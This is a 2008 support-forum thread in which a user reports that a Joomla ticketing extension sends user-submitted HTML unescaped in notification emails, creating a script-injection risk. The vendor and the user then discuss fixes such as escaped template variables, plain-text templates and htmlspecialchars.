Tickets submitted containing HTML are all HTML escaped at the web interface, but are not escaped when a HTML email is generated.

This leads to two problems:

• Security headaches, with people potentially emailing bogus javascript
• Confusion - emails may look different to the content displayed on screen

If content is to be displayed escaped in the web interface, all email should have the same formatting rules applied.

Cheers
Vittal

Hello,

Because of various problems with emails handling UTF-8 characters, making the email text unreadable, we've decided to let the emails go unmodified by our script. Our script is cleaning and securing every user input so that Joomla!'s integrity remains unchanged, don't worry.

Email security should be the email provider's concern. If the email server is setup to allow such actions to run, then it's definitely a problem for the system administrator, and all emails being sent to that address will be a potential security threat.

Before resorting to this solution, we've tested this on many major email providers and they all strip javascript or any other malicious code.

Hi

If you leave mail content un-touched, then ideally there should be a way of mitigating this issue (its more a client side security issue rather than server, as its a potential route in for XSS type attacks).

Mitigating methods could be:

• Allow admins to set the email mime-type to text/plain, so they can make emails text only by editing the template
• Provide escaped template values along with raw template values, so, for example, you could use {message} or {message_escaped} in the email template

The problem is that as it stands, any ticket system where people will be submitting code or contented containing XML fragments may get munged when its displayed in an email.

The real fix of course would be to send 8-bit, base64 encoded mails with access to the raw and HTML escaped content, with a plain/text template and a HTML template. Email could then be sent as a multipart/alternative message with fully safe content. You may want to look at how trac (trac.edgewall.org/) handles multibyte comments in mail. (I say this as someone who's had the pain of retrofitting UTF8 support into ClearDDTS).

cheers
vittal

Hello,

Thank you for your wonderful suggestions. We'll look into this matter before the next RStickets! revision.
As you can see, we are trying to build a script that's compatible with everyone - and most of our customers use UTF-8 characters which need to be kept untouched in order for the email to be readable.

I agree that multibyte characters should be left alone, but the single byte character '<' can be safely escaped to < if you are displaying it in a HTML context. This does not affect other multibyte characters in the string. Same goes for '>', '\"', '&' and \"'\".

PHP's htmlspecialchars is UTF8 safe if you set it's charset parameter.

cheers
vittal<br><br>Post edited by: vittal, at: 2008/11/21 14:58